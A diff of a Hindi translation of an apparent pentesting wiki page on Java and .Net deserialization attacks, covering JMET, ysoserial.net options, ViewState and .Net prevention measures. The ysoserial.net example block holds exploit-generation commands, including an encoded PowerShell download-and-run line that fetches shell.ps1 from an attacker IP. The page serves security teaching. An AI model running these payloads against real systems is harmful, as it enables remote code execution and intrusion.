+**सुरक्षा बढ़ाने के लिए बाहरी लाइब्रेरियों का उपयोग**: **NotSoSerial**, **jdeserialize**, और **Kryo** जैसी लाइब्रेरियाँ Java deserialization को नियंत्रित और मॉनिटर करने के उन्नत फीचर्स प्रदान करती हैं। ये लाइब्रेरियाँ अतिरिक्त सुरक्षा परतें दे सकती हैं, जैसे classes को whitelisting या blacklisting करना, deserialization से पहले serialized objects का विश्लेषण करना, और custom serialization रणनीतियाँ लागू करना।
- **NotSoSerial** डेसिरियलाइजेशन प्रक्रियाओं को रोकता है ताकि अविश्वसनीय कोड का निष्पादन न हो सके।
+- **NotSoSerial** deserialization प्रक्रियाओं को intercept करके untrusted code के execution को रोकता है।
- **jdeserialize** बिना डेसिरियलाइज किए सीरियलाइज्ड जावा ऑब्जेक्ट्स का विश्लेषण करने की अनुमति देता है, जिससे संभावित रूप से दुर्भावनापूर्ण सामग्री की पहचान करने में मदद मिलती है।
+- **jdeserialize** serialized Java objects का deserialization किए बिना उनका analysis करने की अनुमति देता है, जिससे संभावित malicious सामग्री की पहचान में मदद मिलती है।
- **Kryo** एक वैकल्पिक सीरियलाइजेशन ढांचा है जो गति और दक्षता पर जोर देता है, जो कॉन्फ़िगर करने योग्य सीरियलाइजेशन रणनीतियाँ प्रदान करता है जो सुरक्षा को बढ़ा सकती हैं।
+- **Kryo** एक alternative serialization framework है जो speed और efficiency पर ज़ोर देता है, और configurable serialization रणनीतियाँ प्रदान करता है जो security बढ़ा सकती हैं।
-### संदर्भ
+### References
 - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
- डेसिरियलाइजेशन और ysoserial वार्ता: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
+- Deserialization और ysoserial पर चर्चा: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
 - [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
 - [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- gadgetinspector के बारे में वार्ता: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) और स्लाइड: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
+- gadgetinspector के बारे में टॉक: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) और स्लाइड्स: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
 - Marshalsec पेपर: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
 - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
 - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
 - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- जावा और .Net JSON डेसिरियलाइजेशन **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** वार्ता: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+- Java और .Net JSON deserialization के बारे में पेपर: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf), टॉक: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड्स: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- डेसिरियलाइजेशन CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
+- Deserialization से संबंधित CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
-## JNDI इंजेक्शन और log4Shell
+## JNDI Injection & log4Shell
-जानें कि **JNDI इंजेक्शन क्या है, इसे RMI, CORBA और LDAP के माध्यम से कैसे दुरुपयोग किया जा सकता है और log4shell का शोषण कैसे किया जा सकता है** (और इस कमजोरियों का उदाहरण) निम्नलिखित पृष्ठ में:
+यहाँ पता करें कि **JNDI Injection क्या है, इसे RMI, CORBA & LDAP के माध्यम से कैसे abuse किया जा सकता है और log4shell को कैसे exploit किया जा सकता है** (और इस vuln का उदाहरण) इस पेज पर:
 {{#ref}}
 jndi-java-naming-and-directory-interface-and-log4shell.md
 {{#endref}}
-## JMS - जावा संदेश सेवा
+## JMS - Java Message Service
-> **जावा संदेश सेवा** (**JMS**) API एक जावा संदेश-उन्मुख मिडलवेयर API है जो दो या अधिक क्लाइंट के बीच संदेश भेजने के लिए है। यह उत्पादक-उपभोक्ता समस्या को संभालने के लिए एक कार्यान्वयन है। JMS जावा प्लेटफ़ॉर्म, एंटरप्राइज संस्करण (Java EE) का एक हिस्सा है, और इसे सन माइक्रोसिस्टम्स द्वारा विकसित एक विनिर्देशन द्वारा परिभाषित किया गया था, लेकिन जिसे बाद में जावा समुदाय प्रक्रिया द्वारा मार्गदर्शित किया गया है। यह एक संदेश मानक है जो जावा EE पर आधारित अनुप्रयोग घटकों को संदेश बनाने, भेजने, प्राप्त करने और पढ़ने की अनुमति देता है। यह एक वितरित अनुप्रयोग के विभिन्न घटकों के बीच संचार को ढीला, विश्वसनीय और असिंक्रोनस बनाता है। (स्रोत [विकिपीडिया](https://en.wikipedia.org/wiki/Java_Message_Service))।
+> The **Java Message Service** (**JMS**) API एक Java message-oriented middleware API है जो दो या अधिक clients के बीच संदेश भेजने के लिए उपयोग होता है। यह producer–consumer समस्या को संभालने का एक implementation है। JMS Java Platform, Enterprise Edition (Java EE) का हिस्सा है, और इसे Sun Microsystems में विकसित specification द्वारा परिभाषित किया गया था, जिसे बाद में Java Community Process ने आगे निर्देशित किया। यह एक messaging standard है जो Java EE आधारित application components को messages बनाने, भेजने, प्राप्त करने और पढ़ने की अनुमति देता है। यह distributed application के विभिन्न components के बीच loosely coupled, reliable, और asynchronous संचार की सुविधा देता है। (From [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
 ### उत्पाद
-इस मिडलवेयर का उपयोग करके संदेश भेजने वाले कई उत्पाद हैं:
+इस middleware का उपयोग करके संदेश भेजने वाले कई उत्पाद हैं:
 ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>)
 ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (1056).png>)
-### शोषण
+### Exploitation
-तो, मूल रूप से, **JMS का उपयोग करने वाली कई सेवाएँ खतरनाक तरीके से हैं**। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए **पर्याप्त विशेषाधिकार** हैं (आमतौर पर आपको मान्य क्रेडेंशियल्स की आवश्यकता होगी) तो आप **दुर्भावनापूर्ण ऑब्जेक्ट्स को सीरियलाइज कर सकते हैं जो उपभोक्ता/सदस्य द्वारा डेसिरियलाइज किए जाएंगे**।\
+सार रूप में, बहुत सी सेवाएँ ऐसे तरीके से JMS का उपयोग करती हैं जो खतरनाक हो सकता है। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए पर्याप्त privileges हैं (आमतौर पर valid credentials की आवश्यकता होती है), तो आप malicious serialized objects भेजने में सक्षम हो सकते हैं जिन्हें consumer/subscriber द्वारा deserialized किया जाएगा।\
-इसका मतलब है कि इस शोषण में सभी **क्लाइंट जो उस संदेश का उपयोग करने जा रहे हैं संक्रमित हो जाएंगे**।
+इसका मतलब है कि इस शोषण में वह संदेश जो भी clients उपयोग करेंगे वे संक्रमित हो सकते हैं।
-आपको याद रखना चाहिए कि भले ही कोई सेवा कमजोर हो (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित रूप से डेसिरियलाइज कर रही है) आपको अभी भी कमजोरियों का शोषण करने के लिए मान्य गैजेट्स खोजने की आवश्यकता है।
+याद रखें कि भले ही कोई सेवा vulnerable हो (क्योंकि यह user input को insecure तरीके से deserialize कर रही है), फिर भी vulnerability को exploit करने के लिए आपको valid gadgets खोजने होंगे।
-उपकरण [JMET](https://github.com/matthiaskaiser/jmet) को **इन सेवाओं से कनेक्ट और हमला करने के लिए बनाया गया था, जो ज्ञात गैजेट्स का उपयोग करके कई दुर्भावनापूर्ण ऑब्जेक्ट्स को सीरियलाइज कर रहा है**। ये शोषण तब काम करेंगे जब सेवा अभी भी कमजोर हो और यदि उपयोग किए गए गैजेट्स में से कोई भी कमजोर एप्लिकेशन के अंदर हो।
+टूल [JMET](https://github.com/matthiaskaiser/jmet) को इन सेवाओं से connect करने और ज्ञात gadgets का उपयोग करके कई malicious serialized objects भेजकर attack करने के लिए बनाया गया था। ये exploits तभी काम करेंगे जब सेवा अभी भी vulnerable हो और उपयोग किए गए किसी भी gadget मौजूद vulnerable application में उपलब्ध हो।
-### संदर्भ
+### References
 - [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
- JMET वार्ता: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
+- JMET टॉक: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
- स्लाइड: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
+- स्लाइड्स: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
 ## .Net
-. Net के संदर्भ में, डेसिरियलाइजेशन शोषण जावा में पाए जाने वाले तरीकों के समान काम करते हैं, जहां गैजेट्स का शोषण ऑब्जेक्ट के डेसिरियलाइजेशन के दौरान विशिष्ट कोड चलाने के लिए किया जाता है।
+.Net के संदर्भ में, deserialization exploits Java में पाई जाने वाली चुनौतियों के समान तरीके से काम करते हैं, जहाँ gadgets का उपयोग करके deserialization के दौरान किसी object के execution के लिए विशिष्ट कोड चलाया जाता है।
-### फिंगरप्रिंट
+### Fingerprint
-#### व्हाइटबॉक्स
+#### WhiteBox
-स्रोत कोड की जांच की जानी चाहिए कि:
+स्रोत कोड में निम्न occurrences की जाँच की जानी चाहिए:
 1. `TypeNameHandling`
 2. `JavaScriptTypeResolver`
-ध्यान उन सीरियलाइजर्स पर होना चाहिए जो उपयोगकर्ता नियंत्रण के तहत एक चर द्वारा प्रकार निर्धारित करने की अनुमति देते हैं।
+ध्यान उन serializers पर होना चाहिए जो किसी प्रकार को user control वाले variable के माध्यम से निर्धारित होने की अनुमति देते हों।
-#### ब्लैकबॉक्स
+#### BlackBox
-खोज को बेस64 एन्कोडेड स्ट्रिंग **AAEAAAD/////** या किसी समान पैटर्न पर लक्षित करना चाहिए जो सर्वर-साइड पर डेसिरियलाइजेशन के अधीन हो, जिससे डेसिरियलाइज होने वाले प्रकार पर नियंत्रण प्राप्त हो सके। इसमें, लेकिन सीमित नहीं है, **JSON** या **XML** संरचनाएँ शामिल हो सकती हैं जिनमें `TypeObject` या `$type` है।
+खोज का लक्ष्‍य Base64 encoded string **AAEAAAD/////** या किसी समान पैटर्न पर होना चाहिए जो server-side पर deserialization से गुजर सकता है और deserialized होने वाले type पर नियंत्रण दे सकता है। इसमें, परंतु केवल इन्हीं तक सीमित नहीं, **JSON** या **XML** संरचनाएँ शामिल हो सकती हैं जिनमें `TypeObject` या `$type` हो।
 ### ysoserial.net
-इस मामले में आप उपकरण [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) का उपयोग कर सकते हैं ताकि **डेसिरियलाइजेशन शोषण बनाए जा सकें**। एक बार जब आप git रिपॉजिटरी डाउनलोड कर लेते हैं तो आपको **उपकरण को संकलित करना चाहिए**, उदाहरण के लिए, Visual Studio का उपयोग करके।
+इस मामले में आप टूल [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) का उपयोग करके **deserialization exploits बना** सकते हैं। git repository डाउनलोड करने के बाद आपको टूल को compile करना चाहिए, उदाहरण के लिए Visual Studio का उपयोग करके।
-यदि आप जानना चाहते हैं कि **ysoserial.net अपना शोषण कैसे बनाता है** तो आप [**इस पृष्ठ को देख सकते हैं जहां ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर समझाया गया है**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)।
+यदि आप जानना चाहते हैं कि **ysoserial.net अपने exploit कैसे बनाता है** तो आप [**इस पेज को देख सकते हैं जहाँ ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter समझाया गया है**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)।
-**ysoserial.net** के मुख्य विकल्प हैं: **`--gadget`**, **`--formatter`**, **`--output`** और **`--plugin`**।
+**ysoserial.net** के मुख्य विकल्प हैं: **`--gadget`**, **`--formatter`**, **`--output`** और **`--plugin`.**
- **`--gadget`** का उपयोग उस गैजेट को इंगित करने के लिए किया जाता है जिसका दुरुपयोग किया जाएगा (उस कक्षा/कार्य को इंगित करें जिसका डेसिरियलाइजेशन के दौरान आदेश निष्पादित करने के लिए दुरुपयोग किया जाएगा)।
+- **`--gadget`** का उपयोग उस gadget को संकेत करने के लिए होता है जिसे abuse किया जाएगा (उस class/function को बताइए जिसे deserialization के दौरान abuse कर कमांड चलाने के लिए उपयोग किया जाएगा)।
- **`--formatter`**, शोषण को सीरियलाइज करने के लिए विधि को इंगित करने के लिए उपयोग किया जाता है (आपको यह जानने की आवश्यकता है कि बैक-एंड किस पुस्तकालय का उपयोग कर रहा है ताकि लोड को डेसिरियलाइज किया जा सके और इसे सीरियलाइज करने के लिए उसी का उपयोग करें)
+- **`--formatter`** का उपयोग serialized exploit बनाने के तरीके को निर्दिष्ट करने के लिए होता है (आपको पता होना चाहिए कि backend किस library का उपयोग करके payload को deserialize करता है और उसी का उपयोग करके payload serialize करना होगा)।
- **`--output`** का उपयोग यह इंगित करने के लिए किया जाता है कि क्या आप शोषण को **कच्चे** या **बेस64** एन्कोडेड में चाहते हैं। _ध्यान दें कि **ysoserial.net** लोड को **UTF-16LE** (जो विंडोज पर डिफ़ॉल्ट रूप से उपयोग किया जाने वाला एन्कोडिंग है) का उपयोग करके **एन्कोड** करेगा, इसलिए यदि आप कच्चे लोड को प्राप्त करते हैं और इसे लिनक्स कंसोल से एन्कोड करते हैं तो आपको कुछ **एन्कोडिंग संगतता समस्याएँ** हो सकती हैं जो शोषण को सही तरीके से काम करने से रोक सकती हैं (HTB JSON बॉक्स में लोड UTF-16LE और ASCII दोनों में काम करता है लेकिन इसका मतलब यह नहीं है कि यह हमेशा काम करेगा)।_
+- **`--output`** यह बताने के लिए उपयोग होता है कि आप exploit को **raw** चाहिए या **base64** में। _ध्यान दें कि **ysoserial.net** payload को **UTF-16LE** (Windows पर डिफ़ॉल्ट encoding) का उपयोग करके **encode** करेगा, इसलिए यदि आप raw लेते हैं और उसे Linux कंसोल से encode करते हैं तो encoding compatibility समस्याएँ आ सकती हैं जो exploit को सही तरीके से काम करने से रोक सकती हैं (HTB JSON box में payload दोनों UTF-16LE और ASCII में काम कर गया था पर यह गारंटी नहीं है कि हमेशा ऐसा होगा)।_
- **`--plugin`** ysoserial.net विशिष्ट ढांचों के लिए **शोषण बनाने के लिए प्लगइन्स का समर्थन करता है** जैसे ViewState
+- **`--plugin`** ysoserial.net plugins को सपोर्ट करता है ताकि specific frameworks के लिए exploits तैयार किए जा सकें, जैसे ViewState
-#### अधिक ysoserial.net पैरामीटर
+#### More ysoserial.net parameters
- `--minify` एक **छोटा लोड** प्रदान करेगा (यदि संभव हो)
+- `--minify` यदि संभव हो तो एक **छोटा payload** प्रदान करेगा
- `--raf -f Json.Net -c "anything"` यह सभी गैजेट्स को इंगित करेगा जो एक प्रदान किए गए फॉर्मेटर के साथ उपयोग किए जा सकते हैं (`Json.Net` इस मामले में)
+- `--raf -f Json.Net -c "anything"` यह बताएगा कि दिए गए formatter (`Json.Net` इस मामले में) के साथ किन-किन gadgets को उपयोग किया जा सकता है
- `--sf xml` आप **एक गैजेट** (`-g`) को इंगित कर सकते हैं और ysoserial.net "xml" (केस संवेदनशील नहीं) वाले फॉर्मेटर्स की खोज करेगा
+- `--sf xml` आप एक gadget निर्दिष्ट कर सकते हैं (`-g`) और ysoserial.net उन formatters के लिए search करेगा जिनमें "xml" शामिल है (case insensitive)
-**ysoserial उदाहरण** शोषण बनाने के लिए:
+**ysoserial examples** to create exploits:
 ```bash
 #Send ping
 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@ -738,9 +764,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
 #Create exploit using the created B64 shellcode
 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
 ```
-**ysoserial.net** में एक **बहुत दिलचस्प पैरामीटर** है जो हर एक्सप्लॉइट कैसे काम करता है, इसे बेहतर समझने में मदद करता है: `--test`\
+**ysoserial.net** में एक और **बहुत दिलचस्प पैरामीटर** है जो यह समझने में मदद करता है कि हर exploit कैसे काम करता है: `--test`\
-यदि आप इस पैरामीटर को इंगित करते हैं, तो **ysoserial.net** **स्थानीय रूप से** **एक्सप्लॉइट** को **परीक्षण** करेगा, ताकि आप यह जांच सकें कि आपका पेलोड सही ढंग से काम करेगा या नहीं।\
+यदि आप यह पैरामीटर इंगित करते हैं, तो **ysoserial.net** **try** करेगा उस **exploit स्थानीय रूप से,** ताकि आप परीक्षण कर सकें कि आपका `payload` सही से काम करेगा या नहीं।\
-यह पैरामीटर सहायक है क्योंकि यदि आप कोड की समीक्षा करते हैं, तो आप निम्नलिखित कोड के टुकड़े पाएंगे (से [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
+यह पैरामीटर उपयोगी है क्योंकि यदि आप code की समीक्षा करेंगे तो आपको निम्नलिखित जैसे code के टुकड़े मिलेंगे (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
 ```java
 if (inputArgs.Test)
 {
@ -754,7 +780,7 @@ Debugging.ShowErrors(inputArgs, err);
 }
 }
 ```
-इसका मतलब है कि एक्सप्लॉइट का परीक्षण करने के लिए कोड [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) को कॉल करेगा।
+इसका मतलब यह है कि exploit का परीक्षण करने के लिए code [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) को कॉल करेगा।
 ```java
 public static object JsonNet_deserialize(string str)
 {
@ -765,46 +791,46 @@ TypeNameHandling = TypeNameHandling.Auto
 return obj;
 }
 ```
-In the **पिछले कोड में बनाए गए एक्सप्लॉइट के लिए संवेदनशीलता है**। इसलिए यदि आप किसी .Net एप्लिकेशन में कुछ समान पाते हैं, तो इसका मतलब है कि वह एप्लिकेशन भी संभवतः संवेदनशील है।\
+In the **पिछला कोड बनाये गए exploit के लिए असुरक्षित है।** So if you find something similar in a .Net application it means that probably that application is vulnerable too.\
-इसलिए **`--test`** पैरामीटर हमें यह समझने की अनुमति देता है कि **कौन से कोड के टुकड़े** deserialization एक्सप्लॉइट के लिए संवेदनशील हैं जो **ysoserial.net** बना सकता है।
+Therefore the **`--test`** parameter allows us to understand **कि कोड के कौन से हिस्से असुरक्षित हैं** to the deserialization exploit that **ysoserial.net** can create.
 ### ViewState
-[**कैसे .Net के \_\_ViewState पैरामीटर का शोषण करने की कोशिश करें**](exploiting-__viewstate-parameter.md) को देखें ताकि **मनमाने कोड को निष्पादित किया जा सके।** यदि आप **पहले से ही पीड़ित मशीन द्वारा उपयोग किए गए रहस्यों** को जानते हैं, तो [**कोड निष्पादित करने के लिए यह पोस्ट पढ़ें**](exploiting-__viewstate-knowing-the-secret.md)**।**
+Take a look to [this POST about **how to try to exploit the \_\_ViewState parameter of .Net** ](exploiting-__viewstate-parameter.md)to **execute arbitrary code.** यदि आप पीड़ित मशीन द्वारा उपयोग किए गए **already know the secrets** जानते हैं, तो [**read this post to know to execute code**](exploiting-__viewstate-knowing-the-secret.md)**.**
-### Prevention
+### रोकथाम
-.Net में deserialization से संबंधित जोखिमों को कम करने के लिए:
+.Net में deserialization से जुड़े जोखिमों को कम करने के लिए:
- **डेटा स्ट्रीम को उनके ऑब्जेक्ट प्रकारों को परिभाषित करने की अनुमति देने से बचें।** जब संभव हो, `DataContractSerializer` या `XmlSerializer` का उपयोग करें।
+- **डाटा स्ट्रीम्स को उनके object types तय करने की अनुमति न दें।** जब संभव हो तो `DataContractSerializer` या `XmlSerializer` का उपयोग करें।
 - **`JSON.Net` के लिए, `TypeNameHandling` को `None` पर सेट करें:** `TypeNameHandling = TypeNameHandling.None`
- **`JavaScriptSerializer` का उपयोग `JavaScriptTypeResolver` के साथ करने से बचें।**
+- **`JavaScriptSerializer` को `JavaScriptTypeResolver` के साथ उपयोग करने से बचें।**
- **उन प्रकारों को सीमित करें जिन्हें deserialized किया जा सकता है**, .Net प्रकारों के साथ अंतर्निहित जोखिमों को समझते हुए, जैसे `System.IO.FileInfo`, जो सर्वर फ़ाइलों की विशेषताओं को संशोधित कर सकता है, जिससे सेवा से इनकार के हमलों की संभावना बढ़ जाती है।
+- **डिसिरियलाइज़ किये जा सकने वाले types को सीमित करें**, और .Net types से जुड़े अंतर्निहित जोखिमों को समझें, जैसे `System.IO.FileInfo`, जो सर्वर फ़ाइलों की properties बदल सकता है और संभावित रूप से denial of service attacks का कारण बन सकता है।
- **जोखिम भरे गुणों वाले प्रकारों के साथ सतर्क रहें**, जैसे `System.ComponentModel.DataAnnotations.ValidationException` जिसमें इसका `Value` गुण है, जिसका शोषण किया जा सकता है।
+- **जो types जोखिमभरी properties रखते हैं उनके साथ सावधान रहें**, जैसे `System.ComponentModel.DataAnnotations.ValidationException` और उसका `Value` property, जिसे exploit किया जा सकता है।
- **प्रकार के निर्माण को सुरक्षित रूप से नियंत्रित करें** ताकि हमलावर deserialization प्रक्रिया को प्रभावित न कर सकें, जिससे `DataContractSerializer` या `XmlSerializer` भी संवेदनशील हो जाएं।
+- **type instantiation को सुरक्षित रूप से नियंत्रित करें** ताकि attackers deserialization प्रक्रिया को प्रभावित न कर सकें, वरना `DataContractSerializer` या `XmlSerializer` भी vulnerable हो सकते हैं।
- **`BinaryFormatter` और `JSON.Net` के लिए एक कस्टम `SerializationBinder` का उपयोग करके श्वेत सूची नियंत्रण लागू करें।**
+- **व्हाइटलिस्ट नियंत्रण लागू करें** एक custom `SerializationBinder` का उपयोग करके `BinaryFormatter` और `JSON.Net` के लिए।
- **.Net में ज्ञात असुरक्षित deserialization गैजेट्स के बारे में सूचित रहें** और सुनिश्चित करें कि deserializers ऐसे प्रकारों का निर्माण न करें।
+- **.Net के भीतर ज्ञात insecure deserialization gadgets के बारे में सूचित रहें** और सुनिश्चित करें कि deserializers ऐसे types को instantiate न करें।
- **संभावित जोखिम भरे कोड को इंटरनेट एक्सेस वाले कोड से अलग करें** ताकि ज्ञात गैजेट्स, जैसे WPF एप्लिकेशनों में `System.Windows.Data.ObjectDataProvider`, को अविश्वसनीय डेटा स्रोतों के लिए उजागर न किया जा सके।
+- **संभावित रूप से जोखिम भरे कोड को इंटरनेट एक्सेस वाले कोड से अलग रखें** ताकि ज्ञात gadgets, जैसे WPF applications में `System.Windows.Data.ObjectDataProvider`, को untrusted data sources के समक्ष उजागर न किया जाए।
-### **References**
+### **संदर्भ**
- Java और .Net JSON deserialization **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** टॉक: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
 - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
 - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
 - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
 ## **Ruby**
-Ruby में, serialization **marshal** पुस्तकालय के भीतर दो विधियों द्वारा सुगम बनाया गया है। पहली विधि, जिसे **dump** के रूप में जाना जाता है, का उपयोग एक ऑब्जेक्ट को बाइट स्ट्रीम में परिवर्तित करने के लिए किया जाता है। इस प्रक्रिया को serialization कहा जाता है। इसके विपरीत, दूसरी विधि, **load**, का उपयोग बाइट स्ट्रीम को वापस एक ऑब्जेक्ट में बदलने के लिए किया जाता है, जिसे deserialization कहा जाता है।
+Ruby में, serialization को **marshal** library के दो methods द्वारा सक्षम किया जाता है। पहला method, जिसे **dump** कहा जाता है, एक object को byte stream में बदलने के लिए उपयोग किया जाता है। इस प्रक्रिया को serialization कहा जाता है। इसके विपरीत, दूसरा method, **load**, एक byte stream को वापस object में बदलने के लिए उपयोग किया जाता है, इस प्रक्रिया को deserialization कहा जाता है।
-सिरियलाइज्ड ऑब्जेक्ट्स को सुरक्षित करने के लिए, **Ruby HMAC (Hash-Based Message Authentication Code)** का उपयोग करता है, जो डेटा की अखंडता और प्रामाणिकता सुनिश्चित करता है। इस उद्देश्य के लिए उपयोग की जाने वाली कुंजी कई संभावित स्थानों में से एक में संग्रहीत होती है:
+serialized objects की सुरक्षा के लिए, **Ruby HMAC (Hash-Based Message Authentication Code)** का उपयोग करता है, जो डेटा की integrity और authenticity सुनिश्चित करता है। इस उद्देश्य के लिए उपयोग की जाने वाली key निम्नलिखित स्थानों में से किसी एक में संग्रहीत हो सकती है:
 - `config/environment.rb`
 - `config/initializers/secret_token.rb`
